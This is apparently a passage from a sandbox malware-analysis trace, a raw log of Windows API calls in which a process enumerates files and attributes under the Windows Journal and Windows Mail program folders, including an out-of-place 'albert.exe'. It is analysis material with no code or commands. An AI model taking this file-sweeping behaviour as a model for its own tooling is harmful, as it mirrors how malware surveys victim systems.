	[0053.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_2.jtp"), fInfoLevelId=0x0, lpFileInformation=0x123fdc28 | out: lpFileInformation=0x123fdc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc560941e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc560941e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47191587, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c8c)) returned 1
	[0053.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp" (normalized: "c:\\program files\\windows journal\\templates\\graph.jtp"), fInfoLevelId=0x0, lpFileInformation=0x123fdc78 | out: lpFileInformation=0x123fdc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc562f57b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc562f57b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x476ec6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e15c)) returned 1
	[0053.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp" (normalized: "c:\\program files\\windows journal\\templates\\memo.jtp"), fInfoLevelId=0x0, lpFileInformation=0x123fdcc8 | out: lpFileInformation=0x123fdcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc567b835, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc567b835, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47784c37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x26f6e)) returned 1
	[0053.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp" (normalized: "c:\\program files\\windows journal\\templates\\month_calendar.jtp"), fInfoLevelId=0x0, lpFileInformation=0x123fdd18 | out: lpFileInformation=0x123fdd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56a1992, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56a1992, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47ea8dd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x275c)) returned 1
	[0053.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp" (normalized: "c:\\program files\\windows journal\\templates\\music.jtp"), fInfoLevelId=0x0, lpFileInformation=0x123fdd68 | out: lpFileInformation=0x123fdd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56c7aef, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56c7aef, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9f58)) returned 1
	[0053.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp" (normalized: "c:\\program files\\windows journal\\templates\\seyes.jtp"), fInfoLevelId=0x0, lpFileInformation=0x123fddb8 | out: lpFileInformation=0x123fddb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56edc4c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56edc4c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa95a)) returned 1
	[0053.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp" (normalized: "c:\\program files\\windows journal\\templates\\shorthand.jtp"), fInfoLevelId=0x0, lpFileInformation=0x123fde08 | out: lpFileInformation=0x123fde08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5739f06, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5739f06, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48795fdf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1575a)) returned 1
	[0053.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp" (normalized: "c:\\program files\\windows journal\\templates\\to_do_list.jtp"), fInfoLevelId=0x0, lpFileInformation=0x123fde58 | out: lpFileInformation=0x123fde58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a)) returned 1
	[0053.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp" (normalized: "c:\\program files\\windows journal\\templates\\blank.jtp"), fInfoLevelId=0x0, lpFileInformation=0x123fdea8 | out: lpFileInformation=0x123fdea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e)) returned 1
	[0053.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\albert.exe" (normalized: "c:\\program files\\windows journal\\albert.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fdef8 | out: lpFileInformation=0x123fdef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e07c2a0, ftCreationTime.dwHighDateTime=0x1d51f6f, ftLastAccessTime.dwLowDateTime=0xa4133d90, ftLastAccessTime.dwHighDateTime=0x1d4f919, ftLastWriteTime.dwLowDateTime=0xa4133d90, ftLastWriteTime.dwHighDateTime=0x1d4f919, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1
	[0053.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US" (normalized: "c:\\program files\\windows journal\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x123fdf48 | out: lpFileInformation=0x123fdf48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.595] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US" (normalized: "c:\\program files\\windows journal\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.597] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.597] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1
	[0053.597] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwdui.dll.mui", cAlternateFileName="")) returned 1
	[0053.597] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwmon.dll.mui", cAlternateFileName="")) returned 1
	[0053.597] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Journal.exe.mui", cAlternateFileName="")) returned 1
	[0053.597] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPVWCTL.DLL.mui", cAlternateFileName="")) returned 1
	[0053.597] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBMapTIP.dll.mui", cAlternateFileName="")) returned 1
	[0053.597] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 1
	[0053.597] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.597] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jntfiltr.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x1260a238 | out: lpFileInformation=0x1260a238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1
	[0053.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui" (normalized: "c:\\program files\\windows journal\\en-us\\journal.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1260a288 | out: lpFileInformation=0x1260a288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15000)) returned 1
	[0053.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\MSPVWCTL.DLL.mui" (normalized: "c:\\program files\\windows journal\\en-us\\mspvwctl.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x1260a2d8 | out: lpFileInformation=0x1260a2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1a00)) returned 1
	[0053.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\NBMapTIP.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\nbmaptip.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x1260a328 | out: lpFileInformation=0x1260a328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0053.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\PDIALOG.exe.mui" (normalized: "c:\\program files\\windows journal\\en-us\\pdialog.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1260a378 | out: lpFileInformation=0x1260a378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0053.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jnwdui.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x1260a3c8 | out: lpFileInformation=0x1260a3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600)) returned 1
	[0053.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwmon.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jnwmon.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x1260a418 | out: lpFileInformation=0x1260a418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0053.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\jnwdui.dll" (normalized: "c:\\program files\\windows journal\\jnwdui.dll"), fInfoLevelId=0x0, lpFileInformation=0x1260a468 | out: lpFileInformation=0x1260a468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77861d5d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x77861d5d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x18200)) returned 1
	[0053.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\jnwmon.dll" (normalized: "c:\\program files\\windows journal\\jnwmon.dll"), fInfoLevelId=0x0, lpFileInformation=0x1260a4b8 | out: lpFileInformation=0x1260a4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778fa2d1, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x778fa2d1, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1
	[0053.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Journal\\jnwppr.dll" (normalized: "c:\\program files\\windows journal\\jnwppr.dll"), fInfoLevelId=0x0, lpFileInformation=0x1260a508 | out: lpFileInformation=0x1260a508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x757cd2ce, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x757cd2ce, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6c00)) returned 1
	[0053.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Mail" (normalized: "c:\\program files\\windows mail"), fInfoLevelId=0x0, lpFileInformation=0x1260a558 | out: lpFileInformation=0x1260a558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.602] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail" (normalized: "c:\\program files\\windows mail"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", lpFindFileData=0x127d39e0 | out: lpFindFileData=0x127d39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.603] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.603] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0053.603] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fbe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1
	[0053.603] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc917413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc917413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x95a52df0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1
	[0053.603] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa70b1ea1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa70b1ea1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1
	[0053.603] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1f425d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d1f425d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d21a3bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1
	[0053.603] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa72e7a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfa72e7a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1
	[0053.603] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfddedd5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfddedd5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1
	[0053.603] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf9da906, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf9da906, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfa86dfb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1
	[0053.603] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2062a1d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc2062a1d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfbe97cf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1
	[0053.604] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
